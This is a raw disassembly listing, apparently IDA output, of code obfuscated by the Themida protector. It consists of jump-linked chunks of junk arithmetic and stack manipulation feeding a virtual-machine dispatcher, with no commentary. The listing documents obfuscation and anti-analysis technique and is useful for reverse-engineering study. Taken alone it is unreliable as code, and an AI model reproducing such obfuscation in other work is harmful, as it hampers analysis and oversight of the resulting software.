push 4411h
jmp loc_56A2E9
; ---------------------------------------------------------------------------
loc_568191: ; CODE XREF: sub_56755A-4175j
pop esi
sub eax, edi
pop edi
xchg eax, [esp-1Ch+arg_18]
pop esp
mov [esp-20h+arg_1C], eax
not [esp-20h+arg_1C]
push [esp-20h+arg_1C]
jmp loc_565C22
; ---------------------------------------------------------------------------
loc_5681A7: ; CODE XREF: Themida_:005610A0j
add eax, 4
add eax, 4
push eax
push [esp-18h+arg_18]
jmp loc_56A193
; ---------------------------------------------------------------------------
loc_5681BB: ; CODE XREF: Themida_:0056EC9Dj
sub eax, 0E8DD12Ah
add edi, eax
jmp loc_56E67C
; ---------------------------------------------------------------------------
loc_5681C7: ; CODE XREF: Themida_:0055E07Aj
sub al, 30h
add al, ch
add al, 30h
push ebx
mov bl, 7Ah
push ecx
jmp loc_56D7A6
; ---------------------------------------------------------------------------
loc_5681D6: ; CODE XREF: sub_56755A+87DAj
movzx cx, ah
push small 27B0h
mov word ptr [esp-0Ah+arg_4+2], cx
movzx cx, al
jmp loc_56C10F
; ---------------------------------------------------------------------------
loc_5681EB: ; CODE XREF: Themida_:00562958j
mov ecx, [esp-0Ah+arg_4+2]
add esp, 4
shl esi, 1
shl esi, 1
jmp loc_5636D8
; ---------------------------------------------------------------------------
loc_5681FA: ; CODE XREF: Themida_:0056C738j
mov ebx, 7C404598h
and ecx, ebx
pop ebx
xor ecx, 4154698Ah
and ecx, 57E352C7h
shr ecx, 6
xor ecx, 69C623AFh
sub esp, 4
mov [esp-0Eh+arg_8+2], ecx
jmp loc_56B586
; ---------------------------------------------------------------------------
loc_568222: ; CODE XREF: Themida_:0056A9B7j
add esp, 4
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56822D: ; CODE XREF: sub_56657C+1j
mov ebx, 6A947BF5h
push edi
mov edi, 0
jmp loc_560F49
; ---------------------------------------------------------------------------
loc_56823D: ; CODE XREF: Themida_:0056BC83j
inc esi
jmp loc_569D04
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56824B: ; CODE XREF: sub_56755A+5375j
pop [esp-0Ch+arg_8]
mov esp, [esp-10h+arg_C]
inc [esp-10h+arg_C]
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56825A: ; CODE XREF: sub_56755A+Bj
xor edx, 265B6087h
add edi, edx
pop edx
push 568h
mov [esp+10h+var_10], edi
jmp loc_561F00
sub_56755A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_568270: ; CODE XREF: sub_570668-D882j
pop ebp
push edx
inc [esp+0Ch+var_C]
mov edx, [esp+0Ch+var_C]
add esp, 4
inc edx
push ecx
mov ecx, 682028FBh
add edx, ecx
pop ecx
push edx
add [esp+0Ch+var_C], 6BD668E8h
jmp loc_568DDD
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
loc_568292: ; CODE XREF: Themida_:0056CDCBj
push bp
mov bp, 5AC0h
jmp loc_5672DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565F9F
loc_56829D: ; CODE XREF: sub_565F9F+1Dj
add esi, ebp
pop ebp
xor esi, 28F7766h
add esi, 80AEA8B7h
add ebx, esi
mov esi, [esp+4+var_4]
add esp, 4
add esi, ebx
push dword ptr [esp+0]
mov ebx, [esp+4+var_4]
add esp, 4
add esp, 4
jmp loc_56AA31
; END OF FUNCTION CHUNK FOR sub_565F9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5682CD: ; CODE XREF: sub_56755A+6B93j
xor eax, esi
mov esi, [esp+10h+var_10]
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
push [esp+18h+var_14]
jmp loc_56C3F1
; ---------------------------------------------------------------------------
loc_5682E7: ; CODE XREF: sub_56755A+2E48j
pop esi
add ecx, edi
push eax
mov eax, 0
jmp loc_56B515
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5682F5: ; CODE XREF: Themida_:0056A1E6j
inc edi
jmp loc_55E337
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EF75
loc_5682FB: ; CODE XREF: sub_55EF75+282Cj
pop esp
mov [esp+4+var_4], ecx
jmp sub_55F861
; END OF FUNCTION CHUNK FOR sub_55EF75
; ---------------------------------------------------------------------------
loc_568304: ; CODE XREF: Themida_:0056E0A8j
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], ecx
push esp
jmp loc_561863
; ---------------------------------------------------------------------------
loc_568317: ; CODE XREF: Themida_:00565BF8j
xchg ebx, esi
add esi, 1
jmp loc_56D745
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568321: ; CODE XREF: sub_56755A+4030j
add esp, 4
jmp sub_5635DE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568329: ; CODE XREF: Themida_:0056DC74j
push ecx
jmp loc_56D75A
; ---------------------------------------------------------------------------
loc_56832F: ; CODE XREF: Themida_:005660B5j
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
jmp loc_56E625
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568340: ; CODE XREF: sub_56755A-3DF5j
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0Eh+var_10+2]
pop esp
jmp loc_56893F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568355: ; CODE XREF: Themida_:0057076Cj
mov ch, bl
pop bx
jmp loc_55F2A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56835E: ; CODE XREF: sub_56755A-2FA4j
mov ebp, [esp+12h+var_14+2]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+16h+var_18+2]
pop esp
add ebp, ecx
mov ecx, [esp+12h+var_14+2]
add esp, 4
add ebp, 4
xchg ebp, [esp+0Eh+var_10+2]
pop esp
jmp sub_56CB1B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568388: ; CODE XREF: Themida_:0056694Aj
push edi
push esi
push ebp
push 0C991062h
jmp loc_55D31F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568395: ; CODE XREF: sub_56755A+2087j
mov [esp+0Ah+var_C+2], eax
mov ah, 7Bh
jmp loc_569131
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560483
loc_56839F: ; CODE XREF: sub_560483-5E9j
add esp, 4
push eax
push esp
mov eax, [esp-4+arg_0]
push esi
jmp loc_55C53A
; END OF FUNCTION CHUNK FOR sub_560483
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_5683BB: ; CODE XREF: Themida_:00569E79j
pop edx
add esp, 4
shr eax, 5
shr eax, 1
sub eax, 0EA15C600h
jmp loc_56919B
; ---------------------------------------------------------------------------
loc_5683CE: ; CODE XREF: Themida_:0056E92Dj
sub ecx, 2
xchg ecx, [esp]
pop esp
mov [esp], bp
xchg di, [esp]
not di
sub esp, 2
mov [esp], di
push small word ptr [esp+2]
mov di, [esp]
push 12DCh
mov [esp], esi
jmp loc_5657CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568403: ; CODE XREF: sub_56755A+47C9j
push esp
pop [esp+0Eh+var_10+2]
add [esp+0Ah+var_C+2], 4
pop esi
push edx
mov edx, 60A92D21h
add edx, 0E22AE2E9h
jmp loc_55C61C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568420: ; CODE XREF: Themida_:0056732Bj
push ebx
sub esp, 4
mov [esp], edi
push 385B63CDh
pop edi
jmp loc_56EC89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_568435: ; CODE XREF: sub_5636A9-6EBDj
shr ah, 1
push bx
mov bl, 0B1h
add ah, bl
jmp loc_56E95B
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568442: ; CODE XREF: sub_56755A-83EBj
inc edx
xor edx, 7A4B032Fh
shl edx, 6
sub edx, 2B885842h
shl edx, 5
jmp loc_567940
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BA15
loc_56845A: ; CODE XREF: sub_56BA15-B0B8j
mov eax, 44AC7960h
jmp loc_567820
; END OF FUNCTION CHUNK FOR sub_56BA15
; ---------------------------------------------------------------------------
loc_568464: ; CODE XREF: Themida_:0056FB1Ej
add ebx, 198B17A2h
pop esi
jmp loc_560AFE
; =============== S U B R O U T I N E =======================================
sub_568470 proc near ; CODE XREF: sub_5635DE-6484j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_18 = dword ptr 1Ch
arg_24 = dword ptr 28h
; FUNCTION CHUNK AT 0055C118 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055F3CB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056031D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568ABA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568CF5 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056943D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C73D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D05B SIZE 00000018 BYTES
push ebx
push 68DE7547h
push [esp-1Ch+arg_18]
pop ebx
jmp loc_56031D
sub_568470 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_56847F: ; CODE XREF: Themida_:0056A1B2j
or ecx, 526D3DC0h
xor ecx, 0F61BF183h
sub eax, ecx
pop ecx
sub eax, 4F246CF2h
sub eax, ebp
add eax, 4F246CF2h
add eax, 0DE60E78h
pop ebp
jmp loc_55F824
; ---------------------------------------------------------------------------
loc_5684A5: ; CODE XREF: Themida_:0056063Cj
pop esp
jmp loc_55B89B
; ---------------------------------------------------------------------------
loc_5684AB: ; CODE XREF: Themida_:005648BAj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push esp
pop dword ptr [esp]
jmp loc_56858B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5684C0: ; CODE XREF: sub_56755A+7AF4j
push 4F311FF9h
pop edx
jmp loc_56BF88
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_5684CB: ; CODE XREF: sub_56CB7D-BFDBj
xor ecx, eax
jmp loc_55C4DC
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562C5D
loc_5684D2: ; CODE XREF: sub_562C5D-2C3Cj
add esp, 4
add bh, ah
add bh, 91h
pop eax
add cl, bh
pop ebx
jmp loc_56E610
; END OF FUNCTION CHUNK FOR sub_562C5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_5684E3: ; CODE XREF: sub_568D4B-67DCj
mov ecx, 597F1F5Dh
inc ecx
dec ecx
add ecx, 0A680E0A7h
add ebx, ecx
pop ecx
xchg ebx, [esp+4+var_4]
pop esp
mov ebx, [esp+0]
push eax
jmp loc_55DAF4
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_568500: ; CODE XREF: Themida_:00566A15j
add eax, edx
pop edx
jmp loc_562ACE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D83A
loc_568508: ; CODE XREF: sub_56D83A-1224Aj
pop [esp-8+arg_0]
mov esp, [esp-0Ch+arg_4]
pop [esp-0Ch+arg_4]
jmp loc_55D85E
; END OF FUNCTION CHUNK FOR sub_56D83A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DE37
loc_568516: ; CODE XREF: sub_55DE37+3AF4j
shl edx, 1
push eax
push 11F7h
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop eax
push esi
mov esi, 4
add eax, esi
jmp loc_5663F4
; END OF FUNCTION CHUNK FOR sub_55DE37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_568536: ; CODE XREF: sub_55FDEF+11BCj
push esi
push 6D726E1Dh
jmp loc_562FF4
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_568541: ; CODE XREF: Themida_:00564EF5j
pop esp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5706D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_568557: ; CODE XREF: sub_55FE13-5B7j
sub bl, cl
pop cx
add bl, 99h
pop eax
add bl, al
push dx
mov dh, 0D2h
sub bl, dh
pop dx
jmp loc_561E52
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_56856E: ; CODE XREF: sub_56971C-AA4j
pop edx
push ecx
jmp loc_56636A
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564356
loc_568575: ; CODE XREF: sub_564356-5D41j
push 60EE4048h
pop ecx
shr ecx, 6
jmp loc_564A54
; END OF FUNCTION CHUNK FOR sub_564356
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_568583: ; CODE XREF: sub_568D4B-CDF2j
mov [esp+8+var_8], esi
jmp loc_55C864
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_56858B: ; CODE XREF: Themida_:005684BBj
add dword ptr [esp], 4
pop esi
add esi, 4
sub esp, 4
jmp loc_55DBE2
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push 33D6h
jmp loc_564ED1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56626C
loc_5685AB: ; CODE XREF: sub_56626C+FF0j
sub al, dl
pop edx
sub bl, al
pop eax
push dx
mov dh, 0D4h
sub bl, dh
pop dx
jmp loc_566764
; END OF FUNCTION CHUNK FOR sub_56626C
; ---------------------------------------------------------------------------
loc_5685BE: ; CODE XREF: Themida_:0056A5C4j
neg eax
jmp loc_568F0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_5685C5: ; CODE XREF: sub_56B774-2D41j
mov ebx, 60D70A4Dh
jmp loc_56F69E
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5685CF: ; CODE XREF: sub_56755A+3970j
add edi, 668C4CDBh
sub edi, esi
sub edi, 668C4CDBh
mov esi, [esp+2Ch+var_2C]
add esp, 4
add edi, ebp
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_56FA4F
; ---------------------------------------------------------------------------
loc_5685F6: ; CODE XREF: sub_56755A+48FAj
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_568602: ; CODE XREF: sub_56755A-3771j
mov [esp+0Ch+var_C], edx
mov dh, 6Ch
jmp sub_56B62C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56860C: ; CODE XREF: Themida_:0056E6BBj
sub al, 0E2h
add al, bl
add al, 0E2h
sub al, 0D5h
jmp loc_55BD52
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
loc_568619: ; CODE XREF: sub_56F13C-20Cj
push dword ptr [esp+0]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56B310
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56862B: ; CODE XREF: sub_56755A+12FBj
xor [edi+24h], eax
jmp loc_55D828
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_568633: ; CODE XREF: Themida_:0056123Dj
add esp, 4
push 1997h
jmp loc_568E0C
; ---------------------------------------------------------------------------
loc_568640: ; CODE XREF: Themida_:0055F6E5j
add esi, eax
mov eax, [esp]
add esp, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_55FED8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568662: ; CODE XREF: sub_56755A-932Cj
pop edx
sub bl, 7
jmp loc_561EF5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_56866B: ; CODE XREF: sub_566504-DF6j
sub edx, ebx
pop ebx
push dword ptr [edx]
pop ecx
jmp loc_563108
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_568676: ; CODE XREF: Themida_:005703DBj
push dword ptr [esp]
pop ecx
add esp, 4
push eax
mov eax, esp
push 0D77h
jmp loc_56DEB2
; ---------------------------------------------------------------------------
loc_56868D: ; CODE XREF: Themida_:0055DD78j
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add ch, ah
pop eax
sub esp, 4
mov [esp], edx
push ebx
mov bh, 0Eh
mov dl, bh
push dword ptr [esp]
pop ebx
jmp loc_56E2AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_5686BA: ; CODE XREF: sub_56CEC8-A9C9j
neg ah
jmp loc_561223
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_5686C1: ; CODE XREF: sub_562F50+20F6j
xor eax, [esp+4+var_4]
mov esp, [esp+4+var_4]
; END OF FUNCTION CHUNK FOR sub_562F50
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_5686C7: ; CODE XREF: sub_5635DE-D48j
push ecx
mov ecx, 0
mov [edx+30h], ecx
push dword ptr [esp+0]
pop ecx
push ebx
jmp loc_55D151
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
loc_5686DA: ; CODE XREF: Themida_:0056B649j
pop esi
push eax
mov eax, 75E71E0Ah
neg eax
add eax, 34881D84h
push esi
mov esi, 0DF5759h
or esi, 3CEB391Dh
inc esi
not esi
push ebx
mov ebx, 260E0A79h
shl ebx, 5
xor ebx, 1F534DE8h
xor ebx, 0EA2D71E2h
add esi, ebx
pop ebx
jmp loc_5638C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568714: ; CODE XREF: sub_56755A+2A2Bj
sub dh, bh
pop ebx
jmp loc_55E229
; ---------------------------------------------------------------------------
loc_56871C: ; CODE XREF: sub_56755A-6D1Dj
pop [esp+4+var_4]
mov esp, [esp+0]
mov [esp+0], ax
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56872B: ; CODE XREF: Themida_:0056BAFBj
push 400h
pop ebp
mov eax, ebp
pop ebp
or [edi+1Ch], eax
mov eax, [esp]
push 6AE2h
mov [esp], esi
push esp
pop esi
jmp loc_56B9F0
; ---------------------------------------------------------------------------
loc_568749: ; CODE XREF: Themida_:0055BC3Ej
pop ebx
push ebx
mov ebx, 6C4F7625h
push ecx
mov ecx, 449F0864h
xor ebx, ecx
jmp loc_55CD1D
; ---------------------------------------------------------------------------
loc_56875D: ; CODE XREF: Themida_:00569309j
add ebp, esi
pop esi
add ebp, 0BDC0C91Eh
add esi, ebp
mov ebp, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
add esi, 2
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_55CCC6
; ---------------------------------------------------------------------------
loc_568785: ; CODE XREF: Themida_:0056DF70j
push edi
mov edi, 7E5D0F65h
sub esi, edi
pop edi
inc esi
jmp loc_55D34B
; ---------------------------------------------------------------------------
loc_568794: ; CODE XREF: Themida_:0056C3AEj
add edi, edx
jmp loc_55F5BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F88
loc_56879B: ; CODE XREF: sub_562F88-2E6j
push esi
push 1D71h
mov [esp+8+var_8], esp
jmp loc_5688BC
; END OF FUNCTION CHUNK FOR sub_562F88
; =============== S U B R O U T I N E =======================================
sub_5687A9 proc near ; CODE XREF: sub_5649FE+Cj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005623B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563090 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 00563776 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005639FC SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00570149 SIZE 00000007 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
sub esp, 4
mov [esp+8+var_8], edx
jmp loc_5623B3
sub_5687A9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5687BA: ; CODE XREF: sub_56755A+21ABj
sub al, cl
mov ecx, [esp+0]
add esp, 4
push dx
mov dh, 0ADh
sub dh, 92h
add al, dh
pop dx
jmp loc_56CC95
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E99C
loc_5687D5: ; CODE XREF: sub_55E99C+D48Fj
inc edi
or edi, 754D486Ch
sub edi, 3A5F796Ch
jmp loc_56345F
; END OF FUNCTION CHUNK FOR sub_55E99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5687E7: ; CODE XREF: sub_56755A+5B20j
pop small word ptr [eax]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_5687EF: ; CODE XREF: sub_56755A-4668j
and ecx, 5E44090Fh
shr ecx, 5
jmp loc_56C05E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5687FD: ; CODE XREF: Themida_:005623D9j
xor ebp, [esp]
jmp loc_55E5C8
; ---------------------------------------------------------------------------
loc_568805: ; CODE XREF: Themida_:00564A6Aj
sub dh, 9Fh
push ecx
jmp loc_56F80F
; ---------------------------------------------------------------------------
loc_56880E: ; CODE XREF: Themida_:0056F455j
push esi
mov esi, esp
add esi, 4
jmp loc_565D91
; ---------------------------------------------------------------------------
loc_56881C: ; CODE XREF: Themida_:0056B903j
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebx
push eax
push edx
jmp loc_55E144
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568835: ; CODE XREF: sub_56755A-43AEj
push ecx
mov ecx, 0
add ecx, 23454C8Ah
add ecx, ebx
sub ecx, 23454C8Ah
xor eax, [ecx]
mov ecx, [esp+30h+var_30]
add esp, 4
pop ebx
jmp loc_56862B
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56885A proc near ; CODE XREF: sub_56B812-5A27j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055E460 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00565B6A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566F62 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005672D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AA54 SIZE 00000014 BYTES
push ebp
jmp loc_566F62
sub_56885A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_568860: ; CODE XREF: Themida_:0055C10Bj
pop ecx
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], ecx
push 4B4Eh
mov [esp], esp
sub esp, 4
mov [esp], esi
jmp loc_56FDA9
; ---------------------------------------------------------------------------
loc_56888D: ; CODE XREF: Themida_:00560441j
push esp
pop dword ptr [esp]
push esi
mov esi, 551C103Ch
sub esi, 4ECA752Eh
shl esi, 6
jmp loc_55FD0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_5688A5: ; CODE XREF: sub_56F653-5272j
mov ebx, [esp+0]
add esp, 4
xor al, dh
push [esp+0Ch+var_C]
mov edx, [esp+0]
push ebp
jmp loc_55F5AD
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F88
loc_5688BC: ; CODE XREF: sub_562F88+581Cj
add [esp+8+var_8], 4
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
push 9D4h
jmp loc_560CF4
; END OF FUNCTION CHUNK FOR sub_562F88
; ---------------------------------------------------------------------------
loc_5688D8: ; CODE XREF: Themida_:0056EEA1j
push 2BDE18C7h
pop edx
jmp loc_55E9BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_5688E3: ; CODE XREF: sub_55C719+13511j
add esp, 4
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_560566
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
loc_5688F1: ; CODE XREF: Themida_:00563024j
add dh, 25h
jmp loc_56112F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_5688F9: ; CODE XREF: sub_55FDEF-394Aj
sub ebx, edi
jmp loc_56327B
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_568900: ; CODE XREF: sub_56755A+6B9j
sub [esp+28h+var_28], 0FFFFFFFFh
pop esi
push ecx
push esi
mov esi, 60630D0h
push eax
mov eax, 0D573AC2Bh
push eax
pop ecx
pop eax
sub ecx, esi
mov esi, [esp+2Ch+var_2C]
add esp, 4
push edi
mov edi, 1E972E83h
inc edi
jmp loc_57003B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EA9F
loc_56892C: ; CODE XREF: sub_55EA9F-17B2j
pop ebx
jmp sub_55DE37
; END OF FUNCTION CHUNK FOR sub_55EA9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_568932: ; CODE XREF: sub_56CB7D-BFCAj
and eax, edi
mov edi, [esp+14h+var_14]
add esp, 4
jmp loc_5637D3
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56893F: ; CODE XREF: sub_56755A+DF6j
mov [esp+0Ah+var_C+2], esi
mov esi, esp
sub esp, 4
mov [esp+0Eh+var_10+2], edi
mov edi, 174E066Ch
shr edi, 6
inc edi
push 4611h
jmp loc_55F6CA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_568960: ; CODE XREF: sub_55FDEF+B235j
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
jmp loc_560FA7
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_56896B: ; CODE XREF: Themida_:0056C5FDj
pop esp
add esp, 4
pop dword ptr [esp]
pop esp
mov cx, [esp]
push esi
push esp
mov esi, [esp]
push ebx
mov ebx, esp
push ebp
mov ebp, 36612E30h
not ebp
sub esp, 4
mov [esp], edi
mov edi, 303A6217h
sub edi, 142E0244h
or ebp, edi
jmp loc_568AC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5689A2: ; CODE XREF: sub_56755A-A1AFj
sub al, bl
push [esp+28h+var_28]
jmp loc_55BB73
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_5689AC: ; CODE XREF: sub_563973-208Fj
sub edx, 465347B4h
jmp loc_56B6E6
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5689B7: ; CODE XREF: sub_56755A+382Fj
add edi, 4
sub edi, 4
xchg edi, [esp+2Ch+var_2C]
pop esp
mov [esp+28h+var_28], ebx
jmp loc_564CE0
; ---------------------------------------------------------------------------
loc_5689CF: ; CODE XREF: sub_56755A-A899j
add [esp+1Ch+var_18], 7ED73440h
pop ecx
jmp loc_55FD05
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5689DD: ; CODE XREF: Themida_:00561056j
sub eax, 66681392h
jmp loc_564147
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_5689E7: ; CODE XREF: sub_56F653-13B0Aj
mov dh, 18h
mov ch, dh
jmp loc_56E2E8
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_5689F0: ; CODE XREF: Themida_:005652C2j
xchg edi, [esp]
pop esp
jmp loc_56D315
; ---------------------------------------------------------------------------
loc_5689F9: ; CODE XREF: Themida_:0056AB9Fj
push esp
pop dword ptr [esp]
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
